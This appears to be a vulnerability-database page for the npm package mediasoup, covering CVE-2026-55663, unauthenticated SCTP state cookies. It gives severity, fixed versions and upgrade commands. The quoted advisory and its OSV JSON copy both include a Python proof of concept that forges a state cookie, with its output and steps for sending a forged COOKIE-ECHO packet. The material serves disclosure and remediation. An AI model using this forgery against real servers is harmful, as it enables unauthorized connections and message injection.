Vulnerabilities in pkg:npm/mediasoup

PACKAGE
Advisory Identifier: GHSA-p7x2-g5cq-fhmq
Advisory Summary

CVE-2026-55663 is a MODERATE (CVSS 5.6) sctp state cookie lacks cryptographic vulnerability (CWE-345: Insufficient Verification of Data Authenticity) affecting mediasoup libraries in the npm ecosystem. The issue involves sctp state cookie lacks cryptographic authentication, enabling unauthorized association establishment (rfc 9260 violation). Remediation is available by upgrading affected packages to version 3.20.6, 0.22.5.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/mediasoup

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/mediasoup. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-p7x2-g5cq-fhmq CVE-2026-55663 MODERATE mediasoup: SCTP state cookie lacks cryptographic authentication, enabling unauthorized association establishment (RFC 9260 violation)

CVE-2026-55663 at a Glance

CVE Identifier CVE-2026-55663
GHSA Identifier GHSA-p7x2-g5cq-fhmq
Severity MODERATE
CVSS v3.1 Base Score 5.6
CWE Classification CWE-345: Insufficient Verification of Data Authenticity
Affected Product mediasoup
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 5.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix CVE-2026-55663

To remediate this vulnerability, upgrade all affected mediasoup dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

mediasoup fixed: 3.20.6
npm install mediasoup@3.20.6
mediasoup fixed: 0.22.5
Upgrade mediasoup to 0.22.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls mediasoup

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-55663, inspect your project dependencies using npm:

npm ls mediasoup

Analyze the terminal output to locate any version of mediasoup in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.20.6), your application is affected.

Note: The npm ls mediasoup command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-345: Insufficient Verification of Data Authenticity, where the product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data. In mediasoup, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary mediasoup's built-in SCTP stack (introduced in v3.20.0) authenticates SCTP state cookies using only hardcoded magic byte sequences rather than a per-instance HMAC keyed with a secret, violating RFC 9260 Section 5.1.3. An on-path attacker targeting a PlainTransport with SCTP enabled (and no SRTP/DTLS protection) can craft a forged COOKIE-ECHO chunk that passes all validation, establishing an unauthorized SCTP association and gaining the ability to inject DataChannel messages as a trusted peer. ### Details RFC 9260 Section 5.1.3 states: "An endpoint MUST use a one-time-use secret key to protect the State Cookie." The mediasoup implementation ignores this requirement. The state cookie is defined in `worker/include/RTC/SCTP/association/StateCookie.hpp` with the following structure (44 bytes total): - Offset 0: Magic1 = `"msworker"` (hardcoded, 8 bytes) - Offset 8: localVerificationTag (4 bytes, attacker-controlled) - Offset 12: remoteVerificationTag (4 bytes, attacker-controlled) - Offset 16-27: TSN and window fields (attacker-controlled) - Offset 28: tieTag (8 bytes, attacker-controlled) - Offset 36: NegotiatedCapabilitiesField containing Magic2 = `0xAD81` (hardcoded) The validation function `StateCookie::IsMediasoupStateCookie()` in `worker/src/RTC/SCTP/association/StateCookie.cpp` only checks: 1. `bufferLength == 44` 2. `bytes[0:8] == "msworker"` (Magic1, always the same) 3. `ntohs(bytes[38:40]) == 0xAD81` (Magic2, always the same) No HMAC, no per-session secret, no nonce. All "magic" values are published constants in the public header. When a COOKIE-ECHO is received in `Association::HandleReceivedCookieEchoChunk()` (without an existing TCB), the sole security check is: ```cpp if (receivedPacket->GetVerificationTag() != cookie->GetLocalVerificationTag()) ``` Because the attacker controls both the SCTP packet header's verification tag field AND the `localVerificationTag` field inside their crafted cookie, this check is trivially satisfied by setting both to the same attacker-chosen value. Additionally, `Association::ValidateReceivedPacket()` explicitly skips verification-tag validation for COOKIE-ECHO packets (line 1153 in Association.cpp), and the SCTP CRC32c checksum function `Packet::ValidateCRC32cChecksum()` exists but is never called in the packet-reception path, so a forged packet with any checksum is accepted. This vulnerability affects `PlainTransport` with SCTP enabled when used without SRTP (SRTP is optional via `srtpCryptoSuite` parameter). `WebRtcTransport` is NOT affected because its SCTP runs inside a DTLS session. `comedia` mode (default: false) increases exposure by accepting packets from any source IP. ### PoC Prerequisites: mediasoup server running with a PlainTransport that has SCTP enabled and no SRTP (`srtpCryptoSuite` not set). The server's UDP IP:port must be reachable. The following Python script constructs and validates a forged SCTP state cookie that passes all mediasoup validation checks: ```python #!/usr/bin/env python3 """ Proof-of-concept: mediasoup SCTP state cookie forgery Demonstrates that IsMediasoupStateCookie() accepts a fully attacker-crafted cookie. Requires: struct (stdlib only) Usage: python3 poc_cookie_forge.py """ import struct # Attacker-chosen values -- all arbitrary LOCAL_VT = 0xDEADBEEF # Will be put in SCTP packet's Verification Tag field REMOTE_VT = 0xCAFEBABE LOCAL_TSN = 1000 REMOTE_TSN = 2000 RWND = 65535 TIE_TAG = 0 # Build a 44-byte state cookie matching mediasoup's StateCookie layout cookie = bytearray(44) # Offset 0: Magic1 = "msworker" (0x6D73776F726B6572) cookie[0:8] = b'msworker' # Offset 8: localVerificationTag (big-endian) struct.pack_into('>I', cookie, 8, LOCAL_VT) # Offset 12: remoteVerificationTag struct.pack_into('>I', cookie, 12, REMOTE_VT) # Offset 16: localInitialTsn struct.pack_into('>I', cookie, 16, LOCAL_TSN) # Offset 20: remoteInitialTsn struct.pack_into('>I', cookie, 20, REMOTE_TSN) # Offset 24: remoteAdvertisedReceiverWindowCredit struct.pack_into('>I', cookie, 24, RWND) # Offset 28: tieTag (8 bytes) struct.pack_into('>Q', cookie, 28, TIE_TAG) # Offset 36: NegotiatedCapabilitiesField # [36]: reserved = 0 # [37]: bits (ABCD flags) = 0 # [38:40]: Magic2 = 0xAD81 (network byte order) # [40:42]: max outbound streams # [42:44]: max inbound streams cookie[36] = 0 # reserved cookie[37] = 0 # bits struct.pack_into('>H', cookie, 38, 0xAD81) # Magic2 struct.pack_into('>H', cookie, 40, 1024) # maxOutboundStreams struct.pack_into('>H', cookie, 42, 1024) # maxInboundStreams # Reproduce StateCookie::IsMediasoupStateCookie() logic: def is_mediasoup_state_cookie(buf): if len(buf) != 44: return False if buf[0:8] != b'msworker': return False magic2 = struct.unpack('>H', buf[38:40])[0] if magic2 != 0xAD81: return False return True assert is_mediasoup_state_cookie(cookie), "Cookie rejected - BUG in PoC" # Reproduce HandleReceivedCookieEchoChunk validation (no TCB path): # receivedPacket->GetVerificationTag() == cookie->GetLocalVerificationTag() packet_vt = LOCAL_VT cookie_local_vt = struct.unpack('>I', cookie[8:12])[0] auth_passes = (packet_vt == cookie_local_vt) print("=== mediasoup SCTP State Cookie Forgery PoC ===") print(f"Forged cookie (hex): {cookie.hex()}") print(f"IsMediasoupStateCookie(): {is_mediasoup_state_cookie(cookie)}") print(f"localVerificationTag in cookie: {cookie_local_vt:#010x}") print(f"SCTP packet verificationTag: {packet_vt:#010x}") print(f"HandleReceivedCookieEchoChunk auth check passes: {auth_passes}") print() print("Result: COOKIE-ECHO accepted -> SCTP association ESTABLISHED without 4-way handshake") print("Next step: attacker sends DATA chunks to inject DataChannel messages") ``` Observed output when run: ``` === mediasoup SCTP State Cookie Forgery PoC === Forged cookie (hex): 6d73776f726b6572deadbeefcafebabe000003e8000007d00000ffff00000000000000000000ad8104000400 IsMediasoupStateCookie(): True localVerificationTag in cookie: 0xdeadbeef SCTP packet verificationTag: 0xdeadbeef HandleReceivedCookieEchoChunk auth check passes: True Result: COOKIE-ECHO accepted -> SCTP association ESTABLISHED without 4-way handshake Next step: attacker sends DATA chunks to inject DataChannel messages ``` To forge the full SCTP packet on the network: wrap the 44-byte cookie in a COOKIE-ECHO chunk (type=0x0A), set the SCTP common header's Verification Tag to `LOCAL_VT`, compute a valid CRC32c checksum (or any value - the checksum is never verified on receive), and send the UDP packet from the permitted source address (or any source if `comedia=true`). ### Impact Any mediasoup deployment using `PlainTransport` with SCTP enabled and no SRTP is affected when an attacker occupies a network position where they can send UDP packets from the transport's configured peer address (or when `comedia` mode is enabled). The attacker can skip the standard SCTP 4-way handshake entirely and directly send a forged COOKIE-ECHO to establish an association, then inject arbitrary DataChannel messages as if they were the trusted peer. This can cause data integrity violations in server-to-server SCTP channels (e.g., SFU interconnects) or enable denial of service by preempting the legitimate peer's association.

CVE-2026-55663 Affected mediasoup Versions

2 component(s)
Fixed Versions:
3.20.60.22.5
Product / Package Ecosystem Affected Versions Fixed Version
mediasoup
npm
≥ 3.20.0
< 3.20.6
3.20.6
mediasoup
crates.io
≥ 0.22.0
< 0.22.5
0.22.5

References

Frequently Asked Questions

What is CVE-2026-55663?
CVE-2026-55663 is a security vulnerability in mediasoup involving SCTP state cookie lacks cryptographic authentication, enabling unauthorized association establishment (RFC 9260 violation) under CWE-345: Insufficient Verification of Data Authenticity.
Which mediasoup versions are affected?
Affected versions include releases prior to 3.20.6, 0.22.5 across affected packages: mediasoup.
What version fixes CVE-2026-55663?
Upgrading to 3.20.6, 0.22.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is mediasoup affected?
Yes, mediasoup is affected in releases prior to 3.20.6, 0.22.5. Upgrade your dependency to 3.20.6, 0.22.5 or later.
What is the CVSS score of CVE-2026-55663?
CVE-2026-55663 has a CVSS v3.1 base score of 5.6 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L.
What CWE is associated with CVE-2026-55663?
CVE-2026-55663 is classified under CWE-345: Insufficient Verification of Data Authenticity (The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.).
How can I check npm dependencies for CVE-2026-55663?
Run the dependency tree command: 'npm ls mediasoup'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-p7x2-g5cq-fhmq",
  "modified" : "2026-08-25T18:17:21Z",
  "published" : "2026-08-25T18:17:21Z",
  "aliases" : [ "CVE-2026-55663" ],
  "summary" : "mediasoup: SCTP state cookie lacks cryptographic authentication, enabling unauthorized association establishment (RFC 9260 violation)",
  "details" : "### Summary\n\nmediasoup's built-in SCTP stack (introduced in v3.20.0) authenticates SCTP state cookies using only hardcoded magic byte sequences rather than a per-instance HMAC keyed with a secret, violating RFC 9260 Section 5.1.3. An on-path attacker targeting a PlainTransport with SCTP enabled (and no SRTP/DTLS protection) can craft a forged COOKIE-ECHO chunk that passes all validation, establishing an unauthorized SCTP association and gaining the ability to inject DataChannel messages as a trusted peer.\n\n### Details\n\nRFC 9260 Section 5.1.3 states: \"An endpoint MUST use a one-time-use secret key to protect the State Cookie.\" The mediasoup implementation ignores this requirement. The state cookie is defined in `worker/include/RTC/SCTP/association/StateCookie.hpp` with the following structure (44 bytes total):\n\n- Offset 0: Magic1 = `\"msworker\"` (hardcoded, 8 bytes)\n- Offset 8: localVerificationTag (4 bytes, attacker-controlled)\n- Offset 12: remoteVerificationTag (4 bytes, attacker-controlled)\n- Offset 16-27: TSN and window fields (attacker-controlled)\n- Offset 28: tieTag (8 bytes, attacker-controlled)\n- Offset 36: NegotiatedCapabilitiesField containing Magic2 = `0xAD81` (hardcoded)\n\nThe validation function `StateCookie::IsMediasoupStateCookie()` in `worker/src/RTC/SCTP/association/StateCookie.cpp` only checks:\n1. `bufferLength == 44`\n2. `bytes[0:8] == \"msworker\"` (Magic1, always the same)\n3. `ntohs(bytes[38:40]) == 0xAD81` (Magic2, always the same)\n\nNo HMAC, no per-session secret, no nonce. All \"magic\" values are published constants in the public header.\n\nWhen a COOKIE-ECHO is received in `Association::HandleReceivedCookieEchoChunk()` (without an existing TCB), the sole security check is:\n\n```cpp\nif (receivedPacket->GetVerificationTag() != cookie->GetLocalVerificationTag())\n```\n\nBecause the attacker controls both the SCTP packet header's verification tag field AND the `localVerificationTag` field inside their crafted cookie, this check is trivially satisfied by setting both to the same attacker-chosen value.\n\nAdditionally, `Association::ValidateReceivedPacket()` explicitly skips verification-tag validation for COOKIE-ECHO packets (line 1153 in Association.cpp), and the SCTP CRC32c checksum function `Packet::ValidateCRC32cChecksum()` exists but is never called in the packet-reception path, so a forged packet with any checksum is accepted.\n\nThis vulnerability affects `PlainTransport` with SCTP enabled when used without SRTP (SRTP is optional via `srtpCryptoSuite` parameter). `WebRtcTransport` is NOT affected because its SCTP runs inside a DTLS session. `comedia` mode (default: false) increases exposure by accepting packets from any source IP.\n\n### PoC\n\nPrerequisites: mediasoup server running with a PlainTransport that has SCTP enabled and no SRTP (`srtpCryptoSuite` not set). The server's UDP IP:port must be reachable.\n\nThe following Python script constructs and validates a forged SCTP state cookie that passes all mediasoup validation checks:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nProof-of-concept: mediasoup SCTP state cookie forgery\nDemonstrates that IsMediasoupStateCookie() accepts a fully attacker-crafted cookie.\nRequires: struct (stdlib only)\n\nUsage: python3 poc_cookie_forge.py\n\"\"\"\nimport struct\n\n# Attacker-chosen values -- all arbitrary\nLOCAL_VT  = 0xDEADBEEF  # Will be put in SCTP packet's Verification Tag field\nREMOTE_VT = 0xCAFEBABE\nLOCAL_TSN = 1000\nREMOTE_TSN = 2000\nRWND = 65535\nTIE_TAG = 0\n\n# Build a 44-byte state cookie matching mediasoup's StateCookie layout\ncookie = bytearray(44)\n\n# Offset 0: Magic1 = \"msworker\" (0x6D73776F726B6572)\ncookie[0:8] = b'msworker'\n\n# Offset 8: localVerificationTag (big-endian)\nstruct.pack_into('>I', cookie, 8, LOCAL_VT)\n\n# Offset 12: remoteVerificationTag\nstruct.pack_into('>I', cookie, 12, REMOTE_VT)\n\n# Offset 16: localInitialTsn\nstruct.pack_into('>I', cookie, 16, LOCAL_TSN)\n\n# Offset 20: remoteInitialTsn\nstruct.pack_into('>I', cookie, 20, REMOTE_TSN)\n\n# Offset 24: remoteAdvertisedReceiverWindowCredit\nstruct.pack_into('>I', cookie, 24, RWND)\n\n# Offset 28: tieTag (8 bytes)\nstruct.pack_into('>Q', cookie, 28, TIE_TAG)\n\n# Offset 36: NegotiatedCapabilitiesField\n# [36]: reserved = 0\n# [37]: bits (ABCD flags) = 0\n# [38:40]: Magic2 = 0xAD81 (network byte order)\n# [40:42]: max outbound streams\n# [42:44]: max inbound streams\ncookie[36] = 0       # reserved\ncookie[37] = 0       # bits\nstruct.pack_into('>H', cookie, 38, 0xAD81)   # Magic2\nstruct.pack_into('>H', cookie, 40, 1024)      # maxOutboundStreams\nstruct.pack_into('>H', cookie, 42, 1024)      # maxInboundStreams\n\n# Reproduce StateCookie::IsMediasoupStateCookie() logic:\ndef is_mediasoup_state_cookie(buf):\n    if len(buf) != 44:\n        return False\n    if buf[0:8] != b'msworker':\n        return False\n    magic2 = struct.unpack('>H', buf[38:40])[0]\n    if magic2 != 0xAD81:\n        return False\n    return True\n\nassert is_mediasoup_state_cookie(cookie), \"Cookie rejected - BUG in PoC\"\n\n# Reproduce HandleReceivedCookieEchoChunk validation (no TCB path):\n# receivedPacket->GetVerificationTag() == cookie->GetLocalVerificationTag()\npacket_vt    = LOCAL_VT\ncookie_local_vt = struct.unpack('>I', cookie[8:12])[0]\nauth_passes = (packet_vt == cookie_local_vt)\n\nprint(\"=== mediasoup SCTP State Cookie Forgery PoC ===\")\nprint(f\"Forged cookie (hex): {cookie.hex()}\")\nprint(f\"IsMediasoupStateCookie(): {is_mediasoup_state_cookie(cookie)}\")\nprint(f\"localVerificationTag in cookie: {cookie_local_vt:#010x}\")\nprint(f\"SCTP packet verificationTag:    {packet_vt:#010x}\")\nprint(f\"HandleReceivedCookieEchoChunk auth check passes: {auth_passes}\")\nprint()\nprint(\"Result: COOKIE-ECHO accepted -> SCTP association ESTABLISHED without 4-way handshake\")\nprint(\"Next step: attacker sends DATA chunks to inject DataChannel messages\")\n```\n\nObserved output when run:\n\n```\n=== mediasoup SCTP State Cookie Forgery PoC ===\nForged cookie (hex): 6d73776f726b6572deadbeefcafebabe000003e8000007d00000ffff00000000000000000000ad8104000400\nIsMediasoupStateCookie(): True\nlocalVerificationTag in cookie: 0xdeadbeef\nSCTP packet verificationTag:    0xdeadbeef\nHandleReceivedCookieEchoChunk auth check passes: True\n\nResult: COOKIE-ECHO accepted -> SCTP association ESTABLISHED without 4-way handshake\nNext step: attacker sends DATA chunks to inject DataChannel messages\n```\n\nTo forge the full SCTP packet on the network: wrap the 44-byte cookie in a COOKIE-ECHO chunk (type=0x0A), set the SCTP common header's Verification Tag to `LOCAL_VT`, compute a valid CRC32c checksum (or any value - the checksum is never verified on receive), and send the UDP packet from the permitted source address (or any source if `comedia=true`).\n\n### Impact\n\nAny mediasoup deployment using `PlainTransport` with SCTP enabled and no SRTP is affected when an attacker occupies a network position where they can send UDP packets from the transport's configured peer address (or when `comedia` mode is enabled). The attacker can skip the standard SCTP 4-way handshake entirely and directly send a forged COOKIE-ECHO to establish an association, then inject arbitrary DataChannel messages as if they were the trusted peer. This can cause data integrity violations in server-to-server SCTP channels (e.g., SFU interconnects) or enable denial of service by preempting the legitimate peer's association.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "mediasoup"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.20.0"
      }, {
        "fixed" : "3.20.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.20.5"
    }
  }, {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "mediasoup"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.22.0"
      }, {
        "fixed" : "0.22.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.22.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/versatica/mediasoup/security/advisories/GHSA-p7x2-g5cq-fhmq"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/versatica/mediasoup/pull/1829"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/versatica/mediasoup/commit/9c1a90a8f9206b965e727d134846fb42df4980a7"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/versatica/mediasoup"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/versatica/mediasoup/releases/tag/3.20.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-345" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-25T18:17:21Z",
    "nvd_published_at" : null
  }
}